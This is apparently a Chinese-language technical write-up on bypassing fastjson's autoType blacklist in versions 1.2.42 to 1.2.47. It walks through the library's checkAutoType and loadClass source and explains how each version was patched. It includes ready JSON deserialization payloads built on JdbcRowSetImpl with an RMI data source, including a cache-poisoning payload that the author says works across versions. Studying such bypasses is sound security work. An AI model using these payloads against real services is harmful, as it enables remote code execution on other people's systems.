hash | name |
---|---|
0xD4788669A13AE74L | java.awt.Rectangle |
0xE08EE874A26F5EAFL | java.awt.Point |
0xDDAAA11FECA77B5EL | java.awt.Font |
0xB81BA299273D4E6L | java.awt.Color |
0xA8AAA929446FFCE4L | com.alibaba.fastjson.util.AntiCollisionHashMap |
0xD0E71A6E155603C1L | com.alipay.sofa.rpc.core.exception.SofaTimeOutException |
0x9F2E20FB6049A371L | java.util.Collections.UnmodifiableMap |
0xD45D6F8C9017FAL | java.util.concurrent.ConcurrentSkipListMap |
0x64DC636F343516DCL | java.util.concurrent.ConcurrentSkipListSet |
0x7FE2B8E675DA0CEFL | org.springframework.dao.CannotAcquireLockException |
0xF8C7EF9B13231FB6L | org.springframework.dao.CannotSerializeTransactionException |
0x42646E60EC7E5189L | org.springframework.dao.CleanupFailureDataAccessException |
0xCC720543DC5E7090L | org.springframework.dao.ConcurrencyFailureException |
0xC0FE32B8DC897DE9L | org.springframework.dao.DataAccessResourceFailureException |
0xDC9583F0087CC2C7L | org.springframework.dao.DataIntegrityViolationException |
0x5449EC9B0280B9EFL | org.springframework.dao.DataRetrievalFailureException |
0xEB7D4786C473368DL | org.springframework.dao.DeadlockLoserDataAccessException |
0x44D57A1B1EF53451L | org.springframework.dao.DuplicateKeyException |
0xC92D8F9129AF339BL | org.springframework.dao.EmptyResultDataAccessException |
0x9DF9341F0C76702L | org.springframework.dao.IncorrectResultSizeDataAccessException |
0xDB7BFFC197369352L | org.springframework.dao.IncorrectUpdateSemanticsDataAccessException |
0x73FBA1E41C4C3553L | org.springframework.dao.InvalidDataAccessApiUsageException |
0x76566C052E83815L | org.springframework.dao.InvalidDataAccessResourceUsageException |
0x61D10AF54471E5DEL | org.springframework.dao.NonTransientDataAccessException |
0x82E8E13016B73F9EL | org.springframework.dao.NonTransientDataAccessResourceException |
0xE794F5F7DCD3AC85L | org.springframework.dao.OptimisticLockingFailureException |
0x3F64BC3933A6A2DFL | org.springframework.dao.PermissionDeniedDataAccessException |
0x863D2DD1E82B9ED9L | org.springframework.dao.PessimisticLockingFailureException |
0x4BB3C59964A2FC50L | org.springframework.dao.QueryTimeoutException |
0x552D9FB02FFC9DEFL | org.springframework.dao.RecoverableDataAccessException |
0x21082DFBF63FBCC1L | org.springframework.dao.TransientDataAccessException |
0x178B0E2DC3AE9FE5L | org.springframework.dao.TransientDataAccessResourceException |
0x24AE2D07FB5D7497L | org.springframework.dao.TypeMismatchDataAccessException |
0x90003416F28ACD89L | org.springframework.dao.UncategorizedDataAccessException |
0x73A0BE903F2BCBF4L | org.springframework.jdbc.BadSqlGrammarException |
0x7B606F16A261E1E6L | org.springframework.jdbc.CannotGetJdbcConnectionException |
0xAFCB539973CEA3F7L | org.springframework.jdbc.IncorrectResultSetColumnCountException |
0x4A39C6C7ACB6AA18L | org.springframework.jdbc.InvalidResultSetAccessException |
0x9E404E583F254FD4L | org.springframework.jdbc.JdbcUpdateAffectedIncorrectNumberOfRowsException |
0x34CC8E52316FA0CBL | org.springframework.jdbc.LobRetrievalFailureException |
0xB5114C70135C4538L | org.springframework.jdbc.SQLWarningException |
0x7F36112F218143B6L | org.springframework.jdbc.UncategorizedSQLException |
0x26C5D923AF21E2E1L | org.springframework.cache.support.NullValue |
0xD11D2A941337A7BCL | org.springframework.security.oauth2.common.DefaultExpiringOAuth2RefreshToken |
0x4F0C3688E8A18F9FL | org.springframework.security.oauth2.common.DefaultOAuth2AccessToken |
0xC59AA84D9A94C640L | org.springframework.security.oauth2.common.DefaultOAuth2RefreshToken |
0x1F10A70EE4065963L | org.springframework.util.LinkedMultiValueMap |
0x557F642131553498L | org.springframework.util.LinkedCaseInsensitiveMap |
0x8B2081CB3A50BD44L | org.springframework.remoting.support.RemoteInvocation |
0x8B2081CB3A50BD44L | org.springframework.remoting.support.RemoteInvocation |
0x54DC66A59269BAE1L | org.springframework.security.web.savedrequest.SavedCookie |
0x111D12921C5466DAL | org.springframework.security.web.csrf.DefaultCsrfToken |
0x19DCAF4ADC37D6D4L | org.springframework.security.web.authentication.WebAuthenticationDetails |
0x604D6657082C1EE9L | org.springframework.security.core.context.SecurityContextImpl |
0xF4AA683928027CDAL | org.springframework.security.authentication.UsernamePasswordAuthenticationToken |
0x92F252C398C02946L | org.springframework.security.core.authority.SimpleGrantedAuthority |
0x6B949CE6C2FE009L | org.springframework.security.core.userdetails.User |
绕过
1.2.42解决利用的方法也非常简单粗暴,对于传入的类名,删除开头的L
和结尾的;
,这种方法显然非常的治标不治本
绕过也非常简单,直接变成LL+类名+;;
即可
1.2.43绕过
1.2.43对于1.2.42的修复是当以LL开头时,直接抛出异常
但是注意到原loadClass中不仅对L和;做了处理,对[也做了处理
if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
因此构造出如下POC:
{"@type":"[com.sun.rowset.JdbcRowSetImpl","DataSourceName":"rmi://localhost:1099/testobj","AutoCommit":0}
但是会抛出异常说:
Exception in thread "main" com.alibaba.fastjson.JSONException: exepct '[', but ,, pos 42, json : {"@type":"[com.sun.rowset.JdbcRowSetImpl","DataSourceName":"rmi://localhost:1099/testobj","AutoCommit":0}
就是说希望在第42个位置接收到一个[
,但是实际上收到的是一个,
,这里实际上是com.sun.rowset.JdbcRowSetImpl",
中的这个,
这里就不去探讨背后的原因了,听他的改成[
先,但是又报错了:
Exception in thread "main" com.alibaba.fastjson.JSONException: syntax error, expect {, actual string, pos 43, fastjson-version 1.2.43
就说希望在43这个位置收到一个{
但是实际上是,
这里继续听他的,改为:
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"DataSourceName":"rmi://localhost:1099/testobj","AutoCommit":0}
成功执行。这个Payload很显然对于1.2.25-1.2.43都是适用的
1.2.44中对此漏洞进行了修复,当类名以[开头时直接抛出异常
至此,以字符串处理带来的黑名单绕过告一段落。
1.2.25-1.2.47通杀
到了1.2.47出现了通杀以前所有版本的EXP,具体利用条件如下:
- 1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport不能利用
- 1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用
我们以1.2.32版本为例分析利用流程,再来看下checkAutoType的流程:
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
//这里tyoeName为类名,expectClass为null
if (typeName == null) {
return null;
}
//类名称长度不能超过256
if (typeName.length() >= maxTypeNameLength) {
throw new JSONException("autoType is not support. " + typeName);
}
//处理内部类
final String className = typeName.replace('$', '.');
//如果开启了autoTypeSupport会检测当前类名是否在白名单中,而白名单为空,所以这里不会进行任何操作
if (autoTypeSupport || expectClass != null) {
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}
//检查是否位于黑名单(注意这里是位于开启了autoTypeSupport的if语句中的)
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
//从缓存内容中试图加载clazz
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
//如果从缓存中可以加载到类对象并且expectClass为空会直接返回类对象
if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
//当没有开启autoTypeSupport时,如果位于黑名单抛出异常,如果位于白名单且expectClass不为null则进行类加载并返回类对象
if (!autoTypeSupport) {
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
//当开启了autoTypeSupport时会完成类加载
if (autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}
//检测是不是ClassLoader和DataSource的子类
if (clazz != null) {
if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
) {
throw new JSONException("autoType is not support. " + typeName);
}
//expectClass不为null且clazz为expectClass子类会返回clazz
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
}
if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
return clazz;
}
可以看到,之前我们进行绕过利用的类加载点为
//当开启了autoTypeSupport时会完成类加载
if (autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}
而其他很多类加载点都是需要位于白名单或者expectClass不为null的(这是我们无法控制的),因此基本上只剩下一个可能的类加载点可以尝试利用:
//从缓存内容中试图加载clazz
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
//如果从缓存中可以加载到类对象并且expectClass为空会直接返回类对象
if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
从逻辑不难看出,要是我们可以在第二个if之前成功加载到clazz,那就会直接返回这个clazz了
关键来看下TypeUtils.getClassFromMapping的实现:
public static Class<?> getClassFromMapping(String className) {
return mappings.get(className);
}
发现是从mapping这个map中取出值,其来源一方面是来自于初始化时代码中内置添加的类(在TypeUtils.addBaseClassMappings中),其次另外的调用点就是在我们之前十分熟悉的TypeUtils.loadClass了,大致原理就是假如我们之前没加载过这个类,那么在加载时就会加载这个类并将其加入缓存中
public static Class<?> loadClass(String className, ClassLoader classLoader) {
if (className == null || className.length() == 0) {
return null;
}
Class<?> clazz = mappings.get(className);
if (clazz != null) {
return clazz;
}
if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
try {
if (classLoader != null) {
clazz = classLoader.loadClass(className);
mappings.put(className, clazz);
return clazz;
}
} catch (Throwable e) {
e.printStackTrace();
// skip
}
try {
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if (contextClassLoader != null && contextClassLoader != classLoader) {
clazz = contextClassLoader.loadClass(className);
mappings.put(className, clazz);
return clazz;
}
} catch (Throwable e) {
// skip
}
try {
clazz = Class.forName(className);
mappings.put(className, clazz);
return clazz;
} catch (Throwable e) {
// skip
}
return clazz;
}
要是我们有办法在checkAutoType被调用之前找到另外一处调用了loadClass的地方,并且其className我们是可控的,那么在checkAutoType时mappings中就已经存在对应clazz了,就能不经过黑名单检测直接加载并返回相应的类了。
发现MiscCodec的public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName)
中调用了loadClass
if (clazz == Class.class) {
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}
MiscCodec其实是一个内置的derializer,我们之前的类反序列化时是由于不满足条件才调用createJavaBeanDeserializer方法创建一个JavaBeanDeserializer,对于一些满足条件的类,反序列化时会调用内置的derializer的deserialze方法,MiscCodec就是这么一个derializer。
很显然,当我们反序列化的类为Class类时,会类加载strVal
,也就会往mappings中添加strVal
对应的类,若是strVal可控便大功告成了。
Object objVal;
if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) {
parser.resolveStatus = DefaultJSONParser.NONE;
parser.accept(JSONToken.COMMA);
if (lexer.token() == JSONToken.LITERAL_STRING) {
if (!"val".equals(lexer.stringVal())) {
throw new JSONException("syntax error");
}
lexer.nextToken();
} else {
throw new JSONException("syntax error");
}
parser.accept(JSONToken.COLON);
objVal = parser.parse();
parser.accept(JSONToken.RBRACE);
} else {
objVal = parser.parse();
}
String strVal;
if (objVal == null) {
strVal = null;
} else if (objVal instanceof String) {
strVal = (String) objVal;
}
可以看到是解析val对应的值作为objVal,再将objVal强转为字符串确定的,由此有最终POC:
String s = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/testobj\",\"autoCommit\":true}}";
值得注意的是这里反倒不能开启autoTypeSupport,因为开启的话会在判断是否位于mappings之前检测是否位于黑名单中,在不使用如加L
加[
等绕过方式的前提下是过不去黑名单检测的。
那为什么1.2.33版本及以后可以无视是否开启autoTypeSupport执行命令呢?来对比下1.2.32和1.2.33的黑名单校验方式:
//1.2.32
if (autoTypeSupport || expectClass != null) {
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}
//检查是否位于黑名单(注意这里是位于开启了autoTypeSupport的if语句中的)
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
//1.2.33
if (autoTypeSupport || expectClass != null) {
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny) && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
1.2.33中把抛出异常的条件改为了类名位于黑名单中且不在Mappings中,而我们加载恶意类时已经通过MiscCodec将恶意类缓存到了Mappings中因此不会抛出异常。
对比下1.2.47中和1.2.48中的相关处理就能明白修复方式了:
//1.2.47
if (clazz == Class.class) {
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}
public static Class<?> loadClass(String className, ClassLoader classLoader) {
return loadClass(className, classLoader, true);
}
try{
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if(contextClassLoader != null && contextClassLoader != classLoader){
clazz = contextClassLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
// skip
}
//1.2.48
if (clazz == Class.class) {
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader(), false);
}
可以看到在1.2.47版本中MiscCodec对loadClass的调用由于cache使用了默认值true导致可以添加任意类进入Mappings,1.2.48版本中chache参数为false不再被添加进Mappings中。此外,1.2.48版本还直接将Class类添加到黑名单中。后面的话真对fastjson的绕过还有1.2.68的绕过和1.2.8的绕过,这部分就留到以后再进行学习与分析